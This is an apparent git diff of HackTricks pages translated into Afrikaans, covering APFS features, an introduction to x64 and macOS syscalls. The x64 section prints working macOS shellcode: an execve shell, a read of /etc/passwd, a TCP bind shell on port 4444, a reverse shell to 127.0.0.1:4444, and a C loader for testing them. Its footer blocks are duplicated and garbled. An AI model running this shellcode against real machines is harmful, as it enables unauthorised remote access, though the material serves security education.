||||
|
||||
Enkele noemenswaardige kenmerke van APFS sluit in:
|
||||
Sommige noemenswaardige kenmerke van APFS sluit in:
|
||||
|
||||
1. **Spasie-deling**: APFS maak dit moontlik dat verskeie volumes die **gelyke onderliggende vry stoorplek** op 'n enkele fisiese toestel deel. Dit maak doeltreffender spasiebenutting moontlik, aangesien die volumes dinamies kan groei en krimp sonder die nodigheid van handmatige vergroting of herverdeling.
|
||||
1. Dit beteken, in vergelyking met tradisionele partisies in lêerdiske, **dat in APFS verskillende partisies (volumes) al die skyfspasie deel**, terwyl 'n gewone partisie gewoonlik 'n vaste grootte gehad het.
|
||||
2. **Momentopnames**: APFS ondersteun die **skep van momentopnames**, wat **alleen-lees**, punt-in-tyd instansies van die lêersisteem is. Momentopnames maak doeltreffende rugsteun en maklike stelselherstel moontlik, aangesien hulle minimaal bykomende stoorplek gebruik en vinnig geskep of teruggesit kan word.
|
||||
3. **Klone**: APFS kan **lêer- of gidsklone skep wat dieselfde stoorplek as die oorspronklike deel** totdat óf die kloon óf die oorspronklike lêer gewysig word. Hierdie kenmerk bied 'n doeltreffende manier om kopieë van lêers of gidse te skep sonder om die stoorplek te dupliseer.
|
||||
4. **Versleuteling**: APFS ondersteun **volledige skyfversleuteling** asook per-lêer en per-gids versleuteling, wat data-sekuriteit in verskillende gevalle verbeter.
|
||||
5. **Kragonderbrekingbeskerming**: APFS gebruik 'n **kopie-op-skryf metadata-skema wat verseker dat die lêersisteem konsistent bly**, selfs in gevalle van skielike kragonderbreking of stelselonderbrekings, wat die risiko van datakorrupsie verminder.
|
||||
1. **Ruimte Deel**: APFS laat verskeie volumes toe om **diezelfde onderliggende vrye stoorplek** op 'n enkele fisiese toestel te **deel**. Dit stel meer doeltreffende ruimte benutting in staat, aangesien die volumes dinamies kan groei en krimp sonder die behoefte aan handmatige hergroting of herpartitionering.
|
||||
1. Dit beteken, in vergelyking met tradisionele partities in lêer skywe, **dat in APFS verskillende partities (volumes) al die skyf ruimte deel**, terwyl 'n gewone partisie gewoonlik 'n vaste grootte gehad het.
|
||||
2. **Snapshots**: APFS ondersteun **die skep van snapshots**, wat **lees-slegs**, punt-in-tyd instansies van die lêerstelsel is. Snapshots stel doeltreffende rugsteun en maklike stelsels terugrol in staat, aangesien hulle minimale addisionele stoorplek verbruik en vinnig geskep of teruggedraai kan word.
|
||||
3. **Klone**: APFS kan **lêer of gids klone skep wat diezelfde stoorplek** as die oorspronklike deel totdat of die kloon of die oorspronklike lêer gewysig word. Hierdie kenmerk bied 'n doeltreffende manier om kopieë van lêers of gidse te skep sonder om die stoorplek te dupliceer.
|
||||
4. **Enkripsie**: APFS **ondersteun van nature volle skyf enkripsie** sowel as per-lêer en per-gids enkripsie, wat datasekuriteit oor verskillende gebruiksgevalle verbeter.
|
||||
5. **Crash Beskerming**: APFS gebruik 'n **kopie-op-skryf metadata skema wat lêerstelsel konsekwentheid verseker** selfs in gevalle van skielike kragverlies of stelsels wat ineenstort, wat die risiko van datakorruptie verminder.
|
||||
|
||||
Oor die algemeen bied APFS 'n meer moderne, buigsame en doeltreffende lêersisteem vir Apple-toestelle, met die fokus op verbeterde prestasie, betroubaarheid en sekuriteit.
|
||||
Algeheel bied APFS 'n meer moderne, buigsame en doeltreffende lêerstelsel vir Apple-toestelle, met 'n fokus op verbeterde prestasie, betroubaarheid en sekuriteit.
|
||||
```bash
|
||||
diskutil list # Get overview of the APFS volumes
|
||||
```
|
||||
|
@ -37,24 +47,35 @@ Die `Data` volume is gemonteer in **`/System/Volumes/Data`** (jy kan dit nagaan
|
|||
|
||||
Die lys van firmlinks kan gevind word in die **`/usr/share/firmlinks`** lêer.
|
||||
```bash
|
||||
cat /usr/share/firmlinks
|
||||
/AppleInternal AppleInternal
|
||||
/Applications Applications
|
||||
/Library Library
|
||||
[...]
|
||||
```
|
||||
Aan die **linkerkant** is die gidspad op die **Stelselvolume**, en aan die **regterkant** is die gidspad waar dit op die **Datavolume** afbeeld. So, `/library` --> `/system/Volumes/data/library`
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks-uitrusting**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-repos.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,86 +1,88 @@
|
|||
# Inleiding tot x64
|
||||
# Introduction to x64
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## **Inleiding tot x64**
|
||||
## **Introduction to x64**
|
||||
|
||||
x64, ook bekend as x86-64, is 'n 64-bis-processorargitektuur wat hoofsaaklik in tafelrekenaars en bedienerberekening gebruik word. Afkomstig van die x86-argitektuur wat deur Intel vervaardig is en later deur AMD met die naam AMD64 aangeneem is, is dit die heersende argitektuur in persoonlike rekenaars en bedieners vandag.
|
||||
x64, ook bekend as x86-64, is 'n 64-bis verwerker argitektuur wat hoofsaaklik in lessenaar en bediener rekenaars gebruik word. Dit het ontstaan uit die x86 argitektuur wat deur Intel vervaardig is en later deur AMD met die naam AMD64 aangeneem is, en dit is die heersende argitektuur in persoonlike rekenaars en bedieners vandag.
|
||||
|
||||
### **Registers**
|
||||
|
||||
x64 bou voort op die x86-argitektuur, met **16 algemene doelregisters** wat geëtiketteer is as `rax`, `rbx`, `rcx`, `rdx`, `rbp`, `rsp`, `rsi`, `rdi`, en `r8` tot `r15`. Elkeen hiervan kan 'n **64-bis** (8-byte) waarde stoor. Hierdie registers het ook 32-bis, 16-bis, en 8-bis subregisters vir verenigbaarheid en spesifieke take.
|
||||
x64 brei op die x86 argitektuur uit, met **16 algemene registers** gemerk as `rax`, `rbx`, `rcx`, `rdx`, `rbp`, `rsp`, `rsi`, `rdi`, en `r8` tot `r15`. Elke een van hierdie kan 'n **64-bis** (8-byt) waarde stoor. Hierdie registers het ook 32-bis, 16-bis, en 8-bis sub-registers vir kompatibiliteit en spesifieke take.
|
||||
|
||||
1. **`rax`** - Tradisioneel gebruik vir **terugkeerwaardes** van funksies.
|
||||
2. **`rbx`** - Dikwels gebruik as 'n **basisregister** vir geheue-operasies.
|
||||
3. **`rcx`** - Gewoonlik gebruik vir **lusstellers**.
|
||||
4. **`rdx`** - Gebruik in verskeie rolle, insluitend uitgebreide wiskundige operasies.
|
||||
5. **`rbp`** - **Basewysiger** vir die stapelraamwerk.
|
||||
6. **`rsp`** - **Stapelwysiger**, hou by die boonste van die stapel.
|
||||
7. **`rsi`** en **`rdi`** - Gebruik vir **bron** en **bestemming** indekse in string/geheue-operasies.
|
||||
8. **`r8`** tot **`r15`** - Addisionele algemene doelregisters wat in x64 ingevoer is.
|
||||
1. **`rax`** - Tradisioneel gebruik vir **terugwaardes** van funksies.
|
||||
2. **`rbx`** - Gereeld gebruik as 'n **basisregister** vir geheue operasies.
|
||||
3. **`rcx`** - Gewoonlik gebruik vir **lus tellers**.
|
||||
4. **`rdx`** - Gebruik in verskeie rolle insluitend uitgebreide aritmetiese operasies.
|
||||
5. **`rbp`** - **Basisaanwyser** vir die stapelraam.
|
||||
6. **`rsp`** - **Stapelaanwyser**, wat die bokant van die stapel dop hou.
|
||||
7. **`rsi`** en **`rdi`** - Gebruik vir **bron** en **bestemming** indekse in string/geheue operasies.
|
||||
8. **`r8`** tot **`r15`** - Bykomende algemene registers wat in x64 bekendgestel is.
|
||||
|
||||
### **Oproepkonvensie**
|
||||
### **Calling Convention**
|
||||
|
||||
Die x64-oproepkonvensie verskil tussen bedryfstelsels. Byvoorbeeld:
|
||||
Die x64 aanroep konvensie verskil tussen bedryfstelsels. Byvoorbeeld:
|
||||
|
||||
* **Windows**: Die eerste **vier parameters** word oorgedra in die registers **`rcx`**, **`rdx`**, **`r8`**, en **`r9`**. Verdere parameters word op die stapel gedruk. Die terugkeerwaarde is in **`rax`**.
|
||||
* **System V (gewoonlik gebruik in UNIX-soortgelyke stelsels)**: Die eerste **ses heelgetal- of wysigerparameters** word oorgedra in die registers **`rdi`**, **`rsi`**, **`rdx`**, **`rcx`**, **`r8`**, en **`r9`**. Die terugkeerwaarde is ook in **`rax`**.
|
||||
* **Windows**: Die eerste **vier parameters** word in die registers **`rcx`**, **`rdx`**, **`r8`**, en **`r9`** oorgedra. Verdere parameters word op die stapel geplaas. Die terugwaarde is in **`rax`**.
|
||||
* **System V (gewoonlik gebruik in UNIX-agtige stelsels)**: Die eerste **ses heelgetal of aanwyser parameters** word in registers **`rdi`**, **`rsi`**, **`rdx`**, **`rcx`**, **`r8`**, en **`r9`** oorgedra. Die terugwaarde is ook in **`rax`**.
|
||||
|
||||
As die funksie meer as ses insette het, sal die **res op die stapel oorgedra word**. **RSP**, die stapelwysiger, moet **16 byte uitgelyn** wees, wat beteken dat die adres waarna dit wys, deur 16 deelbaar moet wees voordat enige oproep plaasvind. Dit beteken dat ons normaalweg moet verseker dat RSP behoorlik uitgelyn is in ons shellkode voordat ons 'n funksieoproep maak. Tog werk stelseloproepe baie kere selfs as hierdie vereiste nie nagekom word nie.
|
||||
As die funksie meer as ses invoere het, sal die **oorige op die stapel oorgedra word**. **RSP**, die stapelaanwyser, moet **16 bytes geallineer** wees, wat beteken dat die adres waarna dit verwys deelbaar moet wees deur 16 voordat enige aanroep plaasvind. Dit beteken dat ons normaalweg moet verseker dat RSP behoorlik geallineer is in ons shellcode voordat ons 'n funksie aanroep. In praktyk werk stelselaanroepe egter baie keer selfs al word hierdie vereiste nie nagekom nie.
|
||||
|
||||
### Oproepkonvensie in Swift
|
||||
### Calling Convention in Swift
|
||||
|
||||
Swift het sy eie **oproepkonvensie** wat gevind kan word op [**https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#x86-64**](https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#x86-64)
|
||||
Swift het sy eie **aanroep konvensie** wat gevind kan word in [**https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#x86-64**](https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#x86-64)
|
||||
|
||||
### **Gewone Instruksies**
|
||||
### **Common Instructions**
|
||||
|
||||
x64-instruksies het 'n ryk stel, wat verenigbaarheid met vroeëre x86-instruksies handhaaf en nuwe introduceer.
|
||||
x64 instruksies het 'n ryk stel, wat kompatibiliteit met vroeëre x86 instruksies handhaaf en nuwe bekendstel.
|
||||
|
||||
* **`mov`**: **Skuif** 'n waarde van een **register** of **geheueplek** na 'n ander.
|
||||
* Voorbeeld: `mov rax, rbx` — Skuif die waarde van `rbx` na `rax`.
|
||||
* **`push`** en **`pop`**: Druk waardes na/druk waardes van die **stapel**.
|
||||
* Voorbeeld: `push rax` — Druk die waarde in `rax` na die stapel.
|
||||
* Voorbeeld: `pop rax` — Druk die boonste waarde van die stapel na `rax`.
|
||||
* **`add`** en **`sub`**: **Byvoeging** en **aftrekking** operasies.
|
||||
* Voorbeeld: `add rax, rcx` — Tel die waardes in `rax` en `rcx` op en stoor die resultaat in `rax`.
|
||||
* **`mul`** en **`div`**: **Vermenigvuldiging** en **deling** operasies. Let op: hierdie het spesifieke gedrag met betrekking tot operandgebruik.
|
||||
* **`call`** en **`ret`**: Gebruik om funksies te **oproep** en **terug te keer**.
|
||||
* **`int`**: Gebruik om 'n sagteware **onderbreking** te veroorsaak. Byvoorbeeld, `int 0x80` is gebruik vir stelseloproepe in 32-bis x86 Linux.
|
||||
* **`cmp`**: **Vergelyk** twee waardes en stel die CPU se vlae in op grond van die resultaat.
|
||||
* **`mov`**: **Beweeg** 'n waarde van een **register** of **geheue ligging** na 'n ander.
|
||||
* Voorbeeld: `mov rax, rbx` — Beweeg die waarde van `rbx` na `rax`.
|
||||
* **`push`** en **`pop`**: Druk of pop waardes na/vanaf die **stapel**.
|
||||
* Voorbeeld: `push rax` — Druk die waarde in `rax` op die stapel.
|
||||
* Voorbeeld: `pop rax` — Pop die boonste waarde van die stapel in `rax`.
|
||||
* **`add`** en **`sub`**: **Optelling** en **aftrekking** operasies.
|
||||
* Voorbeeld: `add rax, rcx` — Voeg die waardes in `rax` en `rcx` by en stoor die resultaat in `rax`.
|
||||
* **`mul`** en **`div`**: **Vermenigvuldiging** en **deling** operasies. Let op: hierdie het spesifieke gedrag rakende operand gebruik.
|
||||
* **`call`** en **`ret`**: Gebruik om **aan te roep** en **terug te keer van funksies**.
|
||||
* **`int`**: Gebruik om 'n sagteware **onderbreking** te aktiveer. Byvoorbeeld, `int 0x80` is gebruik vir stelselaanroepe in 32-bis x86 Linux.
|
||||
* **`cmp`**: **Vergelyk** twee waardes en stel die CPU se vlae op grond van die resultaat.
|
||||
* Voorbeeld: `cmp rax, rdx` — Vergelyk `rax` met `rdx`.
|
||||
* **`je`, `jne`, `jl`, `jge`, ...**: **Kondisionele sprong** instruksies wat beheervloei verander op grond van die resultate van 'n vorige `cmp` of toets.
|
||||
* **`je`, `jne`, `jl`, `jge`, ...**: **Voorwaardelike sprong** instruksies wat die beheerstroom verander op grond van die resultate van 'n vorige `cmp` of toets.
|
||||
* Voorbeeld: Na 'n `cmp rax, rdx` instruksie, `je label` — Spring na `label` as `rax` gelyk is aan `rdx`.
|
||||
* **`syscall`**: Gebruik vir **stelseloproepe** in sommige x64-stelsels (soos moderne Unix).
|
||||
* **`sysenter`**: 'n Geoptimeerde **stelseloproep** instruksie op sommige platforms.
|
||||
* **`syscall`**: Gebruik vir **stelselaanroepe** in sommige x64 stelsels (soos moderne Unix).
|
||||
* **`sysenter`**: 'n Geoptimaliseerde **stelselaanroep** instruksie op sommige platforms.
|
||||
|
||||
### **Funksie Proloog**
|
||||
### **Function Prologue**
|
||||
|
||||
1. **Druk die ou basiswysiger**: `push rbp` (stoor die aanroeper se basiswysiger)
|
||||
2. **Skuif die huidige stapelwysiger na die basiswysiger**: `mov rbp, rsp` (stel die nuwe basiswysiger vir die huidige funksie op)
|
||||
3. **Ken ruimte op die stapel toe vir plaaslike veranderlikes**: `sub rsp, <grootte>` (waar `<grootte>` die aantal benodigde bytes is)
|
||||
1. **Druk die ou basisaanwyser**: `push rbp` (stoor die oproeper se basisaanwyser)
|
||||
2. **Beweeg die huidige stapelaanwyser na die basisaanwyser**: `mov rbp, rsp` (stel die nuwe basisaanwyser op vir die huidige funksie)
|
||||
3. **Allokeer ruimte op die stapel vir plaaslike veranderlikes**: `sub rsp, <size>` (waar `<size>` die aantal bytes is wat benodig word)
|
||||
|
||||
### **Funksie Epiloog**
|
||||
### **Function Epilogue**
|
||||
|
||||
1. **Beweeg die huidige basisaanwyser na die stapelaanwyser**: `mov rsp, rbp` (deallokeer plaaslike veranderlikes)
|
||||
2. **Pop die ou basisaanwyser van die stapel**: `pop rbp` (herstel die oproeper se basisaanwyser)
|
||||
3. **Terugkeer**: `ret` (gee beheer terug aan die oproeper)
|
||||
|
||||
1. **Skuif die huidige basiswysiger na die stapelwysiger**: `mov rsp, rbp` (onttrek plaaslike veranderlikes)
|
||||
2. **Druk die ou basiswysiger van die stapel af**: `pop rbp` (herstel die aanroeper se basiswysiger)
|
||||
3. **Keer terug**: `ret` (gee beheer terug aan die aanroeper)
|
||||
## macOS
|
||||
|
||||
### syscalls
|
||||
|
||||
Daar is verskillende klasse van syscalls, jy kan hulle [**hier vind**](https://opensource.apple.com/source/xnu/xnu-1504.3.12/osfmk/mach/i386/syscall\_sw.h)**:**
|
||||
Daar is verskillende klasse van syscalls, jy kan [**dit hier vind**](https://opensource.apple.com/source/xnu/xnu-1504.3.12/osfmk/mach/i386/syscall\_sw.h)**:**
|
||||
```c
|
||||
#define SYSCALL_CLASS_NONE 0 /* Invalid */
|
||||
#define SYSCALL_CLASS_MACH 1 /* Mach */
|
||||
|
@ -89,7 +91,7 @@ Daar is verskillende klasse van syscalls, jy kan hulle [**hier vind**](https://o
|
|||
#define SYSCALL_CLASS_DIAG 4 /* Diagnostics */
|
||||
#define SYSCALL_CLASS_IPC 5 /* Mach IPC */
|
||||
```
|
||||
Dan kan jy elke syscall nommer [**in hierdie url**](https://opensource.apple.com/source/xnu/xnu-1504.3.12/bsd/kern/syscalls.master)**:**
|
||||
Dan kan jy elke syscall nommer [**in hierdie URL**](https://opensource.apple.com/source/xnu/xnu-1504.3.12/bsd/kern/syscalls.master)**:**
|
||||
```c
|
||||
0 AUE_NULL ALL { int nosys(void); } { indirect syscall }
|
||||
1 AUE_EXIT ALL { void exit(int rval); }
|
||||
|
@ -106,11 +108,11 @@ Dan kan jy elke syscall nommer [**in hierdie url**](https://opensource.apple.com
|
|||
12 AUE_CHDIR ALL { int chdir(user_addr_t path); }
|
||||
[...]
|
||||
```
|
||||
Dus om die `open` syscall (**5**) van die **Unix/BSD-klas** te roep, moet jy dit byvoeg: `0x2000000`
|
||||
So om die `open` syscall (**5**) van die **Unix/BSD klas** aan te roep, moet jy dit byvoeg: `0x2000000`
|
||||
|
||||
Dus sal die syscall-nommer om open te roep `0x2000005` wees
|
||||
So, die syscall nommer om open aan te roep, sou `0x2000005` wees
|
||||
|
||||
### Shellkodes
|
||||
### Shellcodes
|
||||
|
||||
Om te kompileer:
|
||||
|
||||
|
@ -137,7 +139,7 @@ otool -t shell.o | grep 00 | cut -f2 -d$'\t' | sed 's/ /\\x/g' | sed 's/^/\\x/g'
|
|||
|
||||
<details>
|
||||
|
||||
<summary>C-kode om die shellkode te toets</summary>
|
||||
<summary>C kode om die shellcode te toets</summary>
|
||||
```c
|
||||
// code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/helper/loader.c
|
||||
// gcc loader.c -o loader
|
||||
|
@ -185,9 +187,9 @@ return 0;
|
|||
```
|
||||
</details>
|
||||
|
||||
#### Skul
|
||||
#### Shell
|
||||
|
||||
Geneem van [**hier**](https://github.com/daem0nc0re/macOS\_ARM64\_Shellcode/blob/master/shell.s) en verduidelik.
|
||||
Geneem uit [**hier**](https://github.com/daem0nc0re/macOS\_ARM64\_Shellcode/blob/master/shell.s) en verduidelik.
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="met adr" %}
|
||||
|
@ -226,9 +228,9 @@ syscall
|
|||
{% endtab %}
|
||||
{% endtabs %}
|
||||
|
||||
#### Lees met kat
|
||||
#### Lees met cat
|
||||
|
||||
Die doel is om `execve("/bin/cat", ["/bin/cat", "/etc/passwd"], NULL)` uit te voer, dus die tweede argument (x1) is 'n reeks van parameters (wat in die geheue beteken dat dit 'n stapel van die adresse is).
|
||||
Die doel is om `execve("/bin/cat", ["/bin/cat", "/etc/passwd"], NULL)` uit te voer, so die tweede argument (x1) is 'n array van parameters (wat in geheue beteken 'n stapel van die adresse).
|
||||
```armasm
|
||||
bits 64
|
||||
section .text
|
||||
|
@ -259,7 +261,7 @@ section .data
|
|||
cat_path: db "/bin/cat", 0
|
||||
passwd_path: db "/etc/passwd", 0
|
||||
```
|
||||
#### Roep bevel met sh op
|
||||
#### Roep opdrag met sh
|
||||
```armasm
|
||||
bits 64
|
||||
section .text
|
||||
|
@ -297,9 +299,9 @@ sh_path: db "/bin/sh", 0
|
|||
sh_c_option: db "-c", 0
|
||||
touch_command: db "touch /tmp/lalala", 0
|
||||
```
|
||||
#### Bind skul
|
||||
#### Bind shell
|
||||
|
||||
Bind skul van [https://packetstormsecurity.com/files/151731/macOS-TCP-4444-Bind-Shell-Null-Free-Shellcode.html](https://packetstormsecurity.com/files/151731/macOS-TCP-4444-Bind-Shell-Null-Free-Shellcode.html) in **poort 4444**
|
||||
Bind shell van [https://packetstormsecurity.com/files/151731/macOS-TCP-4444-Bind-Shell-Null-Free-Shellcode.html](https://packetstormsecurity.com/files/151731/macOS-TCP-4444-Bind-Shell-Null-Free-Shellcode.html) in **poort 4444**
|
||||
```armasm
|
||||
section .text
|
||||
global _main
|
||||
|
@ -374,9 +376,9 @@ mov rax, r8
|
|||
mov al, 0x3b
|
||||
syscall
|
||||
```
|
||||
#### Terugskulp
|
||||
#### Reverse Shell
|
||||
|
||||
Terugskulp van [https://packetstormsecurity.com/files/151727/macOS-127.0.0.1-4444-Reverse-Shell-Shellcode.html](https://packetstormsecurity.com/files/151727/macOS-127.0.0.1-4444-Reverse-Shell-Shellcode.html). Terugskulp na **127.0.0.1:4444**
|
||||
Reverse shell van [https://packetstormsecurity.com/files/151727/macOS-127.0.0.1-4444-Reverse-Shell-Shellcode.html](https://packetstormsecurity.com/files/151727/macOS-127.0.0.1-4444-Reverse-Shell-Shellcode.html). Reverse shell na **127.0.0.1:4444**
|
||||
```armasm
|
||||
section .text
|
||||
global _main
|
||||
|
@ -438,16 +440,17 @@ mov rax, r8
|
|||
mov al, 0x3b
|
||||
syscall
|
||||
```
|
||||
{% hint style="success" %}
|
||||
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Ondersteun HackTricks</summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,34 +1,49 @@
|
|||
# macOS Objective-C
|
||||
|
||||
{% hint style="success" %}
|
||||
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Ondersteun HackTricks</summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-repos.
|
||||
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
|
||||
